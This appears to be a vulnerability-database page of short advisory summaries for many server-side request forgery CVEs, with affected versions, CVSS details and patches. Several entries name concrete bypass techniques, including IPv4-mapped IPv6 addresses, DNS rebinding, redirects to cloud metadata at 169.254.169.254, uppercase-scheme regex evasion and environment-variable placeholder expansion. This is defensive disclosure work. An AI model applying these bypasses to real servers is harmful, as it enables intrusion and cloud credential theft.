Server-side request forgery in OpenClaw browser navigation policy before version 2026.4.10 allows authenticated attackers to bypass hostname validation through DNS rebinding attacks, enabling pivots to internal network resources via unallowlisted hostnames. The vulnerability exploits inconsistent hostname resolution between validation checks and actual network requests made by the Chromium engine, with fix confirmed in upstream commit 121c452d and released in version 2026.4.10.
OpenClaw before version 2026.4.10 allows authenticated attackers to bypass Server-Side Request Forgery (SSRF) policy enforcement through incomplete navigation guard coverage in browser press and type interactions. Attackers can trigger unauthorized navigation actions, including pressKey and type-submit flows, that skip post-action security checks, potentially enabling SSRF attacks against restricted endpoints.
Server-side request forgery via unvalidated WebSocket URL in OpenClaw before 2026.4.5 allows authenticated attackers to pivot connections to arbitrary hosts through the Chrome DevTools Protocol (CDP) /json/version endpoint. The webSocketDebuggerUrl response field lacks validation, enabling second-hop SSRF attacks where an attacker can redirect browser profile connections to untrusted targets on internal or external networks. No public exploit code identified at time of analysis, but the vulnerability is straightforward to trigger once authenticated to the CDP endpoint.
The dssrf Node.js library (versions < 1.3.0) allows Server-Side Request Forgery (SSRF) protection bypass through IPv6 addresses targeting internal resources. Attackers can craft HTTP requests using IPv6 loopback (::1), unique local addresses (fc00::/7), link-local addresses (fe80::/10), IPv4-mapped IPv6 addresses (::ffff:127.0.0.1, ::ffff:169.254.169.254), NAT64 prefixes, and other IPv6 categories to access internal services, cloud metadata endpoints (IMDS), and private networks that the library was explicitly designed to block. The vulnerability directly contradicts dssrf documentation claiming IPv6 is disabled entirely, and a publicly available exploit code (POC) demonstrates all affected IPv6 categories. Patch available in version 1.3.0.
Server-Side Request Forgery in new-api allows authenticated regular users to probe internal services and exfiltrate localhost content by injecting 0.0.0.0 into multimodal API requests. The SSRF protection filter fails to block the 0.0.0.0/8 address range, which resolves to localhost on Linux. Attackers holding any valid API token can send crafted image_url, file_data, or video_url parameters to /v1/chat/completions, /v1/responses, or /v1/messages endpoints, bypassing private-IP checks entirely. When requests route through AWS/Bedrock Claude adaptors, the server fetches the content and inlines it into model responses, upgrading blind SSRF to full-read exfiltration of internal images, PDFs, and text files on default-allowed ports 80, 443, 8080, and 8443. No public exploit code identified at time of analysis; no vendor-released patch confirmed for versions through 0.11.9-alpha.1.
Origin confusion in Tauri's is_local_url() function on Windows and Android allows remote attackers to invoke local-only IPC commands by hosting content on a domain whose first subdomain matches the application's custom URI scheme. An attacker can register a domain like http://app.evil.com/ to bypass origin validation when the target application uses an app:// custom protocol, gaining unauthorized access to backend functionality intended only for the application's own frontend. A public proof-of-concept demonstrates successful command invocation through this bypass.
Server-Side Request Forgery (SSRF) in Cisco Unity Connection Web Inbox allows remote unauthenticated attackers to send arbitrary network requests sourced from the vulnerable server. The vulnerability affects the web UI component and requires no authentication, privileges, or user interaction (CVSS AV:N/AC:L/PR:N/UI:N), enabling attackers to abuse the server's network position for internal network reconnaissance, service enumeration, or attacks against backend systems. The changed scope (S:C) indicates impact extends beyond the vulnerable component to other network resources accessible from the Unity Connection server.
Server-Side Request Forgery (SSRF) in AVideo versions up to 29.0 allows authenticated attackers to exfiltrate cloud metadata credentials and access internal services via HTTP redirect bypass and DNS rebinding attacks. Two endpoints in AVideo's AI plugin and EPG parser validate user-supplied URLs using isSSRFSafeURL() but then fetch them with file_get_contents() using PHP's default automatic redirect following. An attacker supplies a URL to a controlled server returning a 302 redirect to internal resources (e.g., AWS instance metadata at 169.254.169.254), bypassing SSRF protections since only the initial URL is validated. Vendor-released patch available via GitHub commit 603e7bf7. CVSS 7.7 reflects Changed Scope due to cross-boundary access to cloud infrastructure credentials.
Blind server-side request forgery (SSRF) in AVideo's donation webhook system allows authenticated users to configure webhook URLs pointing to internal/loopback/metadata services (127.0.0.1, 169.254.169.254, RFC1918 addresses). When any user donates via the CustomizeUser plugin, the AVideo server issues an unauthenticated POST request to the attacker-supplied URL without validating it against the codebase's existing isSSRFSafeURL() helper. The vulnerability is compounded by CURLOPT_FOLLOWLOCATION being enabled without per-hop revalidation, permitting HTTP 307 redirects from attacker-controlled hosts to bypass even future URL validation. CVSS 5.4 (network-accessible, requires authentication, low complexity); no public proof-of-concept or active KEV exploitation confirmed at analysis time, but the vulnerability is trivially exploitable with two attacker-controlled accounts and the PoC is fully documented in the advisory.
Unauthenticated SSRF in MagicMirror ≤2.35.0 allows remote attackers to proxy arbitrary HTTP requests through the server, accessing cloud metadata services (AWS/GCP/Azure IMDSv1), internal network resources, and localhost services via the unrestricted `/cors` endpoint. The vulnerability is compounded by environment variable expansion: attackers can exfiltrate server-side secrets (API keys, database credentials) by embedding placeholders like `**SECRET_API_KEY**` in URLs, which the server resolves from `process.env` before making the request. Vendor-released patch version 2.36.0 disables the CORS proxy by default and implements IP blocklisting when enabled. Publicly available exploit code exists (PoC provided in GitHub advisory GHSA-ph6f-2cvq-79hq). No active exploitation confirmed at time of analysis.
Server-Side Request Forgery (SSRF) in open-webSearch's fetchWebContent MCP tool enables remote unauthenticated attackers to fetch arbitrary private-network URLs and receive full response bodies. Two defects in the `isPrivateOrLocalHostname` validator combine to allow bypass: bracketed IPv6 literals (e.g., `[::ffff:7f00:1]`) are never validated because Node's URL.hostname preserves brackets and Node's isIP() returns 0 for bracketed strings, and DNS resolution is never performed so attacker-controlled hostnames resolving to RFC1918 addresses pass unchecked. When deployed with HTTP transport enabled (documented configuration, active in Docker image), the MCP server binds to 0.0.0.0:3000 with CORS origin='*' and no authentication, exposing the vulnerable tool to any network attacker. Fixed in version 2.1.7. No public exploit identified at time of analysis, but vendor-supplied proof-of-concept demonstrates full exploit chain against AWS EC2 metadata and localhost services.
Complete SSRF protection bypass in ssrfcheck allows remote attackers to reach all private IPv4 ranges including cloud metadata endpoints (169.254.169.254) by encoding targets as IPv4-mapped IPv6 addresses (e.g., http://[::ffff:127.0.0.1]/). Node.js WHATWG URL parser normalizes these addresses to compressed hex form before the library's dot-notation-only regex executes, rendering all private IP checks ineffective. EPSS score unavailable for this recent CVE (2026), but the attack requires no authentication (PR:N), has low complexity (AC:L), and affects the latest version (1.3.0) with no vendor-released patch identified at time of analysis. Publicly available exploit code exists with complete proof-of-concept and automated verification scripts confirmed on Node.js v20.20.2.
Server-Side Request Forgery (SSRF) in link-preview-js npm package allows attackers to craft URLs that bypass validation to access internal network resources via IPv6 loopback addresses (::1, ::ffff:127.0.0.1) and DNS rebinding attacks using wildcard services (.internal, .local, .nip.io, .sslip.io domains). Successful exploitation enables reading internal metadata endpoints, accessing private network services, and exfiltrating sensitive data from cloud instance metadata or internal APIs. Vendor-released patch in version 4.0.1 tightens regex validation but requires users to implement DNS resolution via resolveDNSHost option for complete protection. No public exploit identified at time of analysis, though the attack techniques are well-documented SSRF methods.
DNS rebinding in Admidio's SSO metadata fetch endpoint bypasses SSRF protections by validating a hostname's IP address with gethostbyname() but passing the original hostname to curl_init(), allowing attackers to redirect requests to internal services including cloud metadata endpoints. Authenticated administrators can exploit this TOCTOU window between DNS resolution check and cURL connection to access internal IP ranges, read instance metadata, or scan internal networks.
Server-side request forgery (SSRF) in Geyser through version 2.9.2 allows authenticated attackers with operator privileges to cause the Minecraft server to issue arbitrary HTTP GET requests to internal or attacker-controlled endpoints via crafted Base64-encoded player head texture URLs in the /give command. The vulnerability enables blind SSRF attacks for network reconnaissance, cloud metadata probing, and server IP disclosure without requiring unauthenticated access. Publicly available exploit code exists demonstrating proof-of-concept via webhook.site.
Server-side request forgery in requests-hardened prior to 1.2.1 allows remote attackers to bypass SSRF protection and access internal services within RFC 6598 Shared Address Space (100.64.0.0/10) by supplying arbitrary URLs, particularly impacting AWS EKS deployments where this CIDR is the default pod network. The vulnerability has a CVSS score of 6.5 and is environment-dependent, affecting only deployments using the vulnerable IP range for internal networking. Vendor-released patch: version 1.2.1 extends IP filtering logic to block RFC 6598, 6to4 relay anycast, IPv6 reserved ranges, and multicast addresses.
Server-side request forgery (SSRF) in Twenty CRM allows authenticated users to bypass IP filtering protections and access internal network resources, including cloud metadata endpoints containing IAM credentials. The vulnerability affects versions 1.18.0 and earlier through exploitation of IPv4-mapped IPv6 address normalization inconsistencies in Node.js URL parsing versus the isPrivateIp validation utility. Attackers with low-privilege authenticated access can exfiltrate sensitive credentials from cloud provider metadata services (169.254.169.254). No public exploit code or active exploitation (CISA KEV) confirmed at time of analysis, though the technical details in the GitHub security advisory provide a clear exploitation path.
Server-side request forgery combined with missing authentication in firefighter-incident Python package allows unauthenticated remote attackers to exfiltrate AWS IAM credentials from cloud metadata endpoints. The `/api/v2/firefighter/raid/jira_bot` endpoint accepts arbitrary URLs in the `attachments` parameter, fetches them server-side without validation, and uploads responses as Jira attachments — enabling SSRF against internal services including `http://169.254.169.254/` (AWS EC2 Instance Metadata Service). Vendor-released patch (version 0.0.54) enforces authentication and validates attachment URLs to block private/link-local/loopback addresses. No public exploit identified at time of analysis, but exploitation is trivial given detailed advisory with exact vulnerable code paths.
Server-Side Request Forgery in edx-enterprise 7.0.2-7.0.4 enables Enterprise Admins to steal cloud credentials and scan internal networks. Authenticated users with the Enterprise Admin role-typically delegated to training managers, not platform operators-can inject arbitrary URLs into SAMLProviderConfig.metadata_source and trigger server-side HTTP requests to internal infrastructure. Publicly available exploit code exists (proof-of-concept in GitHub advisory GHSA-64cv-vxpr-j6vc). Vendor-released patch: edx-enterprise 7.0.5. This mirrors a previously patched SSRF in openedx-platform (GHSA-328g-7h4g-r2m9), indicating recurring pattern in SAML metadata handling across Open edX components.
Server-Side Request Forgery (SSRF) in Eclipse BaSyx Java Server SDK prior to 2.0.0-milestone-10 allows unauthenticated remote attackers to force the server to execute blind HTTP POST requests to arbitrary internal or external targets via the unvalidated Operation Delegation feature. Attackers can exploit this to bypass network segmentation, pivot into isolated IT/OT infrastructure, or access Cloud Metadata services (IMDS) - enabling potential credential theft and lateral movement. EPSS data not available; no CISA KEV listing or public POC identified at time of analysis, but the SSRF attack pattern is well-understood and readily exploitable.
Server-side request forgery policy bypass in OpenClaw npm package (versions < 2026.4.10) allows authenticated remote attackers to interact with or navigate to unauthorized targets through existing-session browser interaction routes. The vulnerability bypasses SSRF navigation guards in routes handling click, type, press, and evaluate actions, enabling cross-scope information disclosure. Vendor-released patch available in version 2026.4.10. No public exploit identified at time of analysis, though EPSS data not available. Reported by security researchers from KeenSecurityLab with detailed technical disclosure.
Server-side request forgery in OpenClaw npm package before 2026.4.14 allows authenticated remote attackers to access internal services and cloud metadata endpoints through browser-driven requests. The vulnerability stems from a misconfigured browser SSRF policy that permits private-network navigation by default, enabling cross-scope information disclosure without user interaction. Patch available in version 2026.4.14 with vendor advisory and multiple fix commits confirmed. No public exploit or CISA KEV listing identified at time of analysis, though CVSS 7.7 reflects high confidentiality impact with changed scope.
Server-side request forgery in OpenClaw's QQBot media URL handler allows remote unauthenticated attackers to fetch arbitrary internal or external resources and exfiltrate them through the bot's messaging channel. Attackers provide malicious media URLs in QQBot replies, triggering the server to fetch content from attacker-specified locations, which is then re-uploaded through legitimate channels. Vendor patch available as of version 2026.4.12, with fix commits published on GitHub. CVSS 8.3 reflects high confidentiality impact with low integrity impact; CVSS v4.0 vector indicates network-accessible, low complexity attack requiring no privileges or user interaction but specific attack conditions (AT:P).
Server-side request forgery (SSRF) policy bypass in OpenClaw npm package allows authenticated remote attackers to perform unauthorized browser tab navigation operations, circumventing configured SSRF protections through the /tabs/action endpoint. OpenClaw versions before 2026.4.10 are affected. Vendor-released patch version 2026.4.10 is available (confirmed by GitHub advisory GHSA-rj2p-j66c-mgqh and commit 48c0347). No public exploit identified at time of analysis, though EPSS data not available. The CVSS score of 8.5 with scope change (S:C) indicates potential for significant cross-boundary impact despite requiring low-privilege authentication.
Authenticated users of OpenClaw (npm package) can bypass server-side request forgery (SSRF) protections to access internal or restricted web pages via browser snapshot, screenshot, and tab routes. The vulnerability exploits incomplete validation after route-driven navigation - while initial requests pass SSRF policy checks, the final browser target after navigation is not re-validated before content is captured and returned. This allows lateral movement to internal endpoints (e.g., cloud metadata services at 169.254.169.254) in environments with restrictive browser SSRF configurations. Vendor-released patch available in OpenClaw 2026.4.14. No active exploitation confirmed (not in CISA KEV), though public exploit code has not been independently verified.
Server-Side Request Forgery in Gutenverse - Ultimate WordPress FSE Blocks Addons & Ecosystem plugin versions up to 3.5.3 allows authenticated contributors and above to initiate arbitrary web requests from the vulnerable server via the import_images() function, enabling query and modification of internal services. The vulnerability is exploitable without user interaction over the network, affecting sites with contributor-level users or higher.
Prototype pollution read-side gadgets in axios HTTP adapter enable credential injection, request hijacking to attacker-controlled servers, and SSRF against internal Unix sockets when Object.prototype is polluted by co-located dependencies. Five unguarded config properties (auth, baseURL, socketPath, beforeRedirect, insecureHTTPParser) silently inherit polluted values on every outbound HTTP request. Proof-of-concept code demonstrates request redirection and credential exfiltration. Fixed in axios 1.15.2 per GitHub advisory GHSA-q8qp-cvcw-x6jj. CVSS 7.4 (High) reflects network exploitability with high attack complexity; no public exploit identified at time of analysis beyond vendor-provided POC.
Non-admin users holding the SETTINGS permission in pyload-ng can disable TLS peer and hostname verification by setting general.ssl_verify=off via the set_config_value() API, enabling man-in-the-middle attacks on all outbound HTTPS requests including downloads, captcha fetches, and plugin calls. This is an incomplete fix for a series of prior allowlist bypasses (CVE-2026-33509, CVE-2026-35463, CVE-2026-35464, CVE-2026-35586) in which security-sensitive configuration options were omitted from the ADMIN_ONLY_CORE_OPTIONS allowlist.
Server-Side Request Forgery (SSRF) in PlantUML Macro for XWiki prior to version 2.4.1 allows authenticated users with UI interaction to specify arbitrary PlantUML servers via the server parameter without validation. An attacker can redirect the XWiki server to connect to internal IP addresses or malicious external URLs, enabling reconnaissance of internal infrastructure or attacks on internal services. The vulnerability requires authenticated access and user interaction but operates across scope boundaries (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C). Vendor-released patch available in version 2.4.1.
XML External Entity injection in Apache OpenNLP's DictionaryEntryPersistor allows remote unauthenticated attackers to disclose local files or perform server-side request forgery when processing untrusted dictionary files. The vulnerable SAX parser initialization omits critical security features (FEATURE_SECURE_PROCESSING, DTD disablement) present elsewhere in the codebase, creating an inconsistency exploitable via the public Dictionary(InputStream) API when loading stop-word lists or domain dictionaries. With EPSS at 0.03% (8th percentile) and no active exploitation reported, this represents a code-quality issue in a specific input path rather than an imminent widespread threat, though the CVSS 9.1 reflects maximum theoretical impact given the network-accessible, unauthenticated attack vector.
Blind server-side request forgery in Incus allows authenticated users to trigger arbitrary HEAD requests to internal or external endpoints during image import preflight validation, bypassing the restricted.images.servers project restriction. While the actual image download is blocked by project policies, the preflight HEAD request executes before validation occurs, enabling attackers to probe internal services, cloud metadata endpoints, or unroutable address space reachable from the Incus host. No public exploit code identified at time of analysis, though proof-of-concept reproduction is documented in the advisory.
Server-side request forgery (SSRF) in pixelsock directus-mcp 1.0.0 allows authenticated remote attackers to manipulate the fileUrl argument in the validateUrl function, enabling requests to internal resources including cloud metadata services and private networks. Publicly available exploit code exists and a patch awaiting acceptance is available on GitHub. CVSS 6.3 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L) reflects moderate impact with authentication requirement.
Server-Side Request Forgery (SSRF) in Royal Elementor Addons plugin for WordPress allows authenticated attackers with Contributor-level permissions to bypass URL validation by including 'docs.google.com/spreadsheets' in query parameters, enabling requests to arbitrary internal URLs and retrieval of sensitive data from private network services. Affects versions up to 1.7.1057. The CVSS vector indicates network-based attack with no authentication required (PR:N), contradicting the description's statement of Contributor-level requirement-affected site operators should verify actual privilege requirements with vendor advisory. No active exploitation confirmed (not in CISA KEV), but detailed source code references enable rapid POC development.
Server-side request forgery in JeecgBoot up to 3.9.1 allows authenticated remote attackers to manipulate the CommonController.uploadImgByHttp endpoint and trigger arbitrary HTTP requests from the server, with publicly available exploit code and vendor confirmation of the issue. The vulnerability affects the image upload functionality through HttpFileToMultipartFileUtil.httpFileToMultipartFile and downloadImageData methods, enabling attackers with valid credentials to abuse the application as a proxy for outbound requests.
Server-Side Request Forgery in PixelYourSite Pro WordPress plugin allows unauthenticated remote attackers to force the web application to make arbitrary HTTP requests to internal or external resources through the vulnerable scan_video function. The vulnerability affects all versions up to 12.5.0.1 and features a Changed scope (CVSS S:C), enabling attackers to probe internal network infrastructure, access cloud metadata services, and potentially modify data in internal systems that trust requests from the WordPress server. The blind SSRF nature means attackers receive no direct response but can infer results through timing attacks or side-channel observation. EPSS data not available; no public exploit code identified at time of analysis.
Server-Side Request Forgery in the Ona WordPress theme versions up to 1.26 via the ona_activate_child_theme function allows authenticated administrators to make arbitrary web requests originating from the affected server, enabling query and modification of internal services. The vulnerability requires administrator-level privileges and high attack complexity, limiting real-world exploitation to compromised or malicious admin accounts. No public exploit code or active exploitation has been identified.
Server-side request forgery in JeecgBoot up to version 3.9.1 allows authenticated remote attackers to manipulate the originUrl parameter in OpenApiController.add and OpenApiController.call methods, enabling arbitrary HTTP requests from the affected server. The vulnerability requires low-level authentication privileges and carries minimal direct impact (CVSS 2.1), but public exploit code exists and vendors confirmed the issue with a fix planned for an upcoming release.
Server-side request forgery in JeecgBoot up to version 3.9.1 affects the checkPathTraversalBatch function in FileDownloadUtils.java within the LoadFile endpoint. Authenticated remote attackers can manipulate the files argument to trigger SSRF, allowing them to make unauthorized requests to internal or external resources. Publicly disclosed exploit code exists, and the vendor has confirmed the issue with a fix promised in an upcoming release.
Server-Side Request Forgery (SSRF) in Apache Neethi allows remote attackers to make arbitrary outbound requests to internal IP addresses and non-HTTP/HTTPS protocols when an application explicitly calls the PolicyReference API to retrieve remote policies. The vulnerability affects all versions before 3.2.2, which restricts URI schemes to HTTP/HTTPS and blocks link-local, multicast, and any-local addresses. No active exploitation has been confirmed at this time.
Server-side request forgery (SSRF) in IBM Langflow Desktop 1.0.0 through 1.8.4 permits unauthenticated remote attackers to send arbitrary HTTP requests from the vulnerable system, enabling network enumeration, internal service probing, and facilitation of secondary attacks against backend infrastructure. CVSS 6.5 reflects moderate confidentiality and integrity impact without authentication barriers despite PR:N in vector.
Server-Side Request Forgery (SSRF) in n8n-mcp SDK allows authenticated remote attackers to access cloud metadata endpoints and internal network resources via IPv4-mapped IPv6 address bypass. Versions 2.47.4 through 2.47.13 fail to validate IPv6 addresses in the synchronous URL validator (SSRFProtection.validateUrlSync()), enabling attackers who control the n8nApiUrl parameter to bypass RFC1918, localhost, and cloud metadata protections using addresses like [::ffff:169.254.169.254]. The vulnerability is non-blind SSRF returning response bodies to the attacker, and forwards the n8nApiKey in the x-n8n-api-key header to attacker-controlled targets. Confirmed actively exploited (CISA KEV). Vendor-released patch: version 2.47.14. EPSS exploitation probability not provided but risk is elevated given KEV status and availability of exploit code in the GitHub advisory.
Server-Side Request Forgery in Gotenberg 8.29.1 Docker image enables remote unauthenticated attackers to probe internal networks and trigger POST requests to arbitrary internal/external endpoints via the Gotenberg-Webhook-Url header. CVSS 8.6 High with Changed Scope (S:C) reflects the ability to pivot from the Gotenberg container to internal services. Publicly available exploit code exists (PoC published in GitHub advisory GHSA-5vh4-rgv7-p9g4). Vendor-released patch 8.31.0 implements IP resolution and non-public address blocking to prevent DNS rebinding and RFC1918/link-local targeting.
Gotenberg versions up to 8.30.1 allow Server-Side Request Forgery (SSRF) against internal networks and cloud metadata endpoints via case-variation bypass of webhook and downloadFrom deny-lists. Remote unauthenticated attackers can use uppercase URL schemes (HTTP://, HTTPS://) to circumvent the default case-sensitive regex (^https?://) protecting private IP ranges; Go's net/url.Parse() normalizes schemes to lowercase during connection establishment, completing the bypass. The flaw affects two features added in commit 3f01ca1 (April 2026): webhook callback URLs and downloadFrom file fetching. Vendor-released patch version 8.31.0 available. CVSS 9.1 (Critical) with Changed Scope reflects potential access to instance metadata services (e.g., AWS 169.254.169.254) and internal APIs that return sensitive data in Content-Disposition headers. This is a regression of the pattern previously fixed in CVE-2026-27018 for the Chromium deny-list.
Server-side request forgery in SpringBlade v4.8.0 allows authenticated network attackers to scan internal resources by sending crafted GET requests to the /ureport/datasource/testConnection endpoint, enabling reconnaissance of non-routable or restricted-access network segments. The vulnerability affects confidentiality but requires valid authentication credentials to exploit.
Server-side request forgery in Halo v2.22.14 /themes/-/install-from-uri endpoint allows authenticated attackers to scan internal resources and access sensitive network information via crafted GET requests. The vulnerability requires valid authentication credentials but operates with low attack complexity and results in confidentiality impact through information disclosure of internal network topology and services.
Server-Side Request Forgery (SSRF) in Halo v2.22.14's /plugins/-/install-from-uri endpoint enables authenticated attackers to scan internal resources and potentially access sensitive information via crafted GET requests. The vulnerability requires valid authentication credentials but operates with low attack complexity over the network, exposing internal network topology and services to enumeration attacks.
Quick Facts
- Typical Severity
- HIGH
- Category
- web
- Total CVEs
- 1212